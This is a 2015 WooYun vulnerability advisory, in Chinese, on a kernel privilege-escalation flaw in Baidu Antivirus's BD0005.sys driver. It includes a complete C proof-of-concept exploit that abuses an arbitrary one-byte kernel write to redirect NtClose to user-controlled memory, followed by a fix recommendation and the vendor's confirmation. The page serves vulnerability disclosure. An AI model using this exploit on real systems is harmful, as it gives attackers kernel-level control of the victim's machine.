当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103397

漏洞标题:百度杀毒某处内核提权漏洞

相关厂商:百度

漏洞作者: 路人甲

提交时间:2015-03-24 11:38

修复时间:2015-06-22 16:54

公开时间:2015-06-22 16:54

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-03-27: 细节向第三方安全合作伙伴开放
2015-05-18: 细节向核心白帽子及相关领域专家公开
2015-05-28: 细节向普通白帽子公开
2015-06-07: 细节向实习白帽子公开
2015-06-22: 细节向公众公开

简要描述:

BD0005.sys对输入参数校验不严格,被利用后可以在任意内核地址写入一个字节,将内核调用重定向到用户可控的地址,实现提权。

详细说明:

1.百度杀毒版本:

版本.jpg


BD0005.sys版本:2.0.0.6
系统版本:windows xp sp3
ntkrnlpa版本:5.1.2600.6419
2.系统启动过【安全沙箱】,BD0005.sys对IoControlCode=0x1236000c的处理逻辑不严谨,传入内核地址也会被写入1个字节0x42,只要精心布置内存布局,即可实现内核提权调用。根源如下:

exploit3.jpg


3.漏洞利用后的表现:

exploit1.jpg


exploit2.jpg

漏洞证明:

POC通过提前在用户地址布局利用代码,实现内核调用转向到可控地址。

DWORD GetDriverBase(CHAR* pName)
{
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved [2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName [256 ];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI* FN_ZwQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
FN_ZwQuerySystemInformation fn =
(FN_ZwQuerySystemInformation)GetProcAddress(GetModuleHandle(_T("ntdll")), "ZwQuerySystemInformation");
if(!fn)
return 0;
DWORD dwBase = 0;
CHAR* pBuffer = new CHAR[0x10000];
memset(pBuffer, 0, 0x10000);
ULONG cb = 0;
LONG l = (*fn)(11, pBuffer, 0x10000, &cb);
if(0 == l)
{
ULONG count = *((ULONG*)pBuffer);
PSYSTEM_MODULE_INFORMATION pInfo = (PSYSTEM_MODULE_INFORMATION)(pBuffer + sizeof(ULONG));
for (ULONG i = 0; i < count; ++i)
{
if('\0' != pInfo[i].ImageName[0])
{
strlwr(pInfo[i].ImageName);

if(pName && strstr(pInfo[i].ImageName, pName))
{
dwBase = (DWORD)pInfo[i].Base;
break;
}
}
}
}
delete pBuffer;
return dwBase;
}
void NtAllocVirtualPage(HANDLE hProcess, DWORD dwAddr)
{
typedef LONG (WINAPI* NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
NtAllocateVirtualMemory fnAllocate =
(NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtAllocateVirtualMemory");
if(fnAllocate)
{
PBYTE pBase = (PBYTE)dwAddr;
SIZE_T len = 0x1000;
LONG lSucceed = fnAllocate(hProcess, (PVOID*)&pBase, 0, &len, 0x3000, PAGE_EXECUTE_READWRITE);
}
}
void CallDriver(HANDLE hDev)
{
DWORD dwReturned = 0;
DWORD driverBase = GetDriverBase("bd0005.sys");
WCHAR* input = L"BDSANDBOX";
NtAllocVirtualPage(GetCurrentProcess(), 0x425b2ea4);
if(!IsBadWritePtr((LPVOID)0x425b2ea4, 8))
{
memcpy((LPVOID)0x425b2ea4, "\xcc\xcc\xcc", 3);
}

DeviceIoControl(hDev,
0x1236000c,
(LPVOID)input,
0x12,

// bd0005.sys偏移0x21fd0保存的是NtClose的地址(0x805b2ea4),
// 通过漏洞将其高字节改为0x42,重定向到我可控的0x425b2ea4地址
(LPVOID)(driverBase + 0x21fd3),
0,
&dwReturned,
NULL);

}
void FuzzDriver()
{
LPCTSTR DevName = _T("\\\\.\\Bd0005Ctl");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE != hDev)
{
CallDriver(hDev);
CloseHandle(hDev);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
FuzzDriver();
return 0;
}

修复方案:

对IoControl=0x1236000c的传入参数做合法校验,只有UserSpace才允许写入;或者直接不接受outputBuffer。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-24 16:52

厂商回复:

感谢提交

最新状态:

暂无